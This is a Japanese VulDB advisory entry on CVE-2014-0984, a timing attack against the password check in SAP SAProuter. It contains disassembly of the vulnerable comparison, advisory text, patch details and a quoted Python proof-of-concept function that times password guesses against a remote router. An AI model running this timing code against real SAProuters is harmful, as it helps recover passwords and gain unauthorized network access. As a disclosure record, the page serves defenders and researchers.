VDB-13005 · CVE-2014-0984 · CORE-2014-0003

SAP SAProuter 迄 721 Patch Level 117 Password Authentication passwordCheck 特権昇格

CVSS 一時的なメタスコア	現在のエクスプロイト価格 (≈)	CTI注目指数
5.9	$0-$5k	0.00

要約情報

SAP SAProuter 迄 721 Patch Level 117内に重大として分類された脆弱性が発見されました。該当するのは関数passwordCheck コンポーネントPassword Authenticationのです。この操作は、特権昇格を引き起こします。この脆弱性は CVE-2014-0984 として扱われます。さらに、エクスプロイトが利用可能です。この問題を修正するためにパッチを適用することを推奨します。

詳細情報

SAP SAProuter 迄 721 Patch Level 117内に重大として分類された脆弱性が発見されました。該当するのは関数passwordCheck コンポーネントPassword Authenticationのです。この操作は、特権昇格を引き起こします。この問題をCWEでは、CWE-264 と定義しました。この弱点は発表されました 2014年04月15日 Martin Galloによって（Core Security Consulting Servicesとともに） CORE-2014-0003として勧告として（ウェブサイト）。アドバイザリーは coresecurity.com にてダウンロード用に公開されています。一般向けリリースはベンダーと調整済みです。

この脆弱性は CVE-2014-0984 として扱われます。 CVEの割り当ては2014年01月07日に行われました。技術的な詳細が利用可能です。この脆弱性の人気度は平均より低いです。さらに、エクスプロイトが利用可能です。このエクスプロイトは一般に公開されており、利用される恐れがあります。現時点では、エクスプロイトの価格は約USD $0-$5kと考えられます。 MITRE ATT&CKプロジェクトは、この問題に対して攻撃手法 T1068 を使用しました。この脆弱性の原因はコードのこの部分にあります。

.text:0000000140005BE0 loc_140005BE0:                          ; CODE XREF: passwordCheck+191j
.text:0000000140005BE0                 movzx   ecx, byte ptr [rdi] ; rdi points to the routtab password
.text:0000000140005BE3                 movzx   eax, byte ptr [rdi+rsi] ; rdi+rsi points to the user-supplied password
.text:0000000140005BE7                 sub     ecx, eax
.text:0000000140005BE9                 jnz     short loc_140005BF3 ; password check failed
.text:0000000140005BEB                 add     rdi, 1
.text:0000000140005BEF                 test    eax, eax
.text:0000000140005BF1                 jnz     short loc_140005BE0
.text:0000000140005BF3
.text:0000000140005BF3 loc_140005BF3:                          ; CODE XREF: passwordCheck+189j
.text:0000000140005BF3                 test    ecx, ecx
.text:0000000140005BF5                 jz      short loc_140005C3F
.text:0000000140005BF7                 cmp     cs:trace_level, 1
.text:0000000140005BFE                 jl      short loc_140005C38
.text:0000000140005C00                 call    DpLock
.text:0000000140005C05                 mov     rcx, cs:qword_140273BC0
.text:0000000140005C0C                 lea     r8, aPasswordcheck ; "passwordCheck"
.text:0000000140005C13                 lea     rdx, aSPasswordCheck ; "%s: password check failed\n"
.text:0000000140005C1A                 mov     cs:dword_1401ADAA4, 1
.text:0000000140005C24                 call    DpTrace
.text:0000000140005C29
.text:0000000140005C29 loc_140005C29:                          ; CODE XREF: passwordCheck+16Fj
.text:0000000140005C29                 mov     cs:dword_1401ADAA4, 2
.text:0000000140005C33                 call    DpUnlock
.text:0000000140005C38
.text:0000000140005C38 loc_140005C38:                          ; CODE XREF: passwordCheck+135j
.text:0000000140005C38                                         ; passwordCheck+19Ej
.text:0000000140005C38                 mov     eax, 0FFFFFFA2h
.text:0000000140005C3D                 jmp     short loc_140005C41
.text:0000000140005C3F ; ---------------------------------------------------------------------------
.text:0000000140005C3F
.text:0000000140005C3F loc_140005C3F:                          ; CODE XREF: passwordCheck+12Cj
.text:0000000140005C3F                                         ; passwordCheck+174j ...
.text:0000000140005C3F                 xor     eax, eax        ; password check succeeded

アドバイザリは以下の内容を示しています：

SAP Router permits and/or forbids networks connections based on a Route Permission Table. Entries in the Route Permission Table can have a password. If a password is specified for a given entry in the Route Permission Table, SAP Router checks whether the user-supplied password matches with the one in the Route Permission Table entry before permitting a connection. The vulnerable function passwordCheck performs a non-constant time string comparison for checking the user-supplied password against the on in the Route Permission Table. On the first non-matched character, the string comparison function immediately interrupts the evaluation cycle, which may let an attacker perform timing attacks.

概念実証として宣言されています。 coresecurity.comでエクスプロイトが共有されています。この脆弱性は少なくとも46日間、非公開のゼロデイ脆弱性として扱われていました。 0dayにはおよそ $5k-$25k の価値があったと予想しています。エクスプロイトで使用されたコードは次のとおりです：

def try_password(options, password, output=None, k=0):
 
    p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN, version=options.router_version)
    p.adm_command = 2
    p.adm_password = password
    p = str(SAPNI() / p)
 
    fau_timer.init()
    fau_timer.send_request(options.remote_host, options.remote_port, p, len(p))
    fau_timer.calculate_time()
    cpuSpeed = fau_timer.get_speed()
    cpuTicks = fau_timer.get_cpu_ticks()
    time = fau_timer.get_time()
 
    if options.verbose:
        print "Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s nanosec" % (cpuSpeed, cpuTicks, time)
 
    # Write the time to the output file
    if output:
        output.write("%i,%s,%s\n" % (k, password, time))
 
    return time

】のプラグインを提供しています。

パッチの名前はSAP Note 1986895です。バグフィックスはservice.sap.comから入手できます。この問題を修正するためにパッチを適用することを推奨します。脆弱性が公開されてから前後に、対策が発表されました。

この脆弱性は他の脆弱性データベースにも記載されています: Secunia (SA57993).

影響あり

SAP Router release 721 Patch Level 117
SAP Router release 720 Patch Level 411
SAP Router release 710 Patch Level 029

製品情報

タイプ

Router Operating System

ベンダー

名前

SAProuter

バージョン

721 Patch Level 117

ライセンス

営利

ウェブサイト

ベンダー: https://www.sap.com/

CPE 2.3情報

CPE 2.2情報

CVSSv4情報

VulDB ベクトル: 🔍
VulDB 信頼性: 🔍

CVSSv3情報

VulDB ベースメタスコア: 6.5
VulDB 一時的なメタスコア: 5.9

VulDB ベーススコア: 6.5
VulDB 一時的なスコア: 5.9
VulDB ベクトル: 🔍
VulDB 信頼性: 🔍

CVSSv2情報

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

ベクトル	複雑さ	認証	機密性	完全性	可用性
解除	解除	解除	解除	解除	解除
解除	解除	解除	解除	解除	解除
解除	解除	解除	解除	解除	解除

VulDB ベーススコア: 🔍
VulDB 一時的なスコア: 🔍
VulDB 信頼性: 🔍

NVD ベーススコア: 🔍

悪用情報

クラス: 特権昇格
CWE: CWE-264
CAPEC: 🔍
ATT&CK: 🔍

物理的: いいえ
ローカル: いいえ
リモート: はい

可用性: 🔍
アクセス: パブリック
ステータス: 概念実証
著者: Martin Gallo
プログラミング言語: 🔍
ダウンロード: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

価格予測: 🔍
現在の価格評価: 🔍

0-Day	解除	解除	解除	解除
本日	解除	解除	解除	解除

Exploit-DB: 🔍

脅威インテリジェンス情報

関心: 🔍
アクティブアクター: 🔍
アクティブなAPTグループ: 🔍

対策情報

推奨: パッチ
ステータス: 🔍

リアクション時間: 🔍
0day日時: 🔍
エクスプロイト遅延時間: 🔍

パッチ: SAP Note 1986895

タイムライン情報

2014年01月07日 🔍
2014年02月20日 +44 日 🔍
2014年02月20日 +0 日 🔍
2014年04月07日 +46 日 🔍
2014年04月15日 +8 日 🔍
2014年04月15日 +0 日 🔍
2014年04月16日 +1 日 🔍
2014年04月17日 +1 日 🔍
2014年04月17日 +0 日 🔍
2024年08月15日 +3773 日 🔍

ソース情報

ベンダー: sap.com

勧告: CORE-2014-0003
調査者: Martin Gallo
組織: Core Security Consulting Services
ステータス: 未定義
確認: 🔍
調整済み: 🔍

CVE: CVE-2014-0984 (🔍)
GCVE (CVE): GCVE-0-2014-0984
GCVE (VulDB): GCVE-100-13005
Secunia: 57993 - SAProuter Password Timing Attack Weakness, Not Critical

scip Labs: https://www.scip.ch/en/?labs.20150716
関連情報: 🔍

エントリ情報

作成済み: 2014年04月17日 14:22
更新済み: 2024年08月15日 13:47
変更: 2014年04月17日 14:22 (80), 2019年04月01日 14:26 (1), 2024年08月15日 13:47 (16)
完了: 🔍
Cache ID: 216:6D0:103

討論

コメントはまだありません。言語: ja + en.

コメントするにはログインしてください。

◂ 前概要次 ▸

Interested in the pricing of exploits?

See the underground prices here!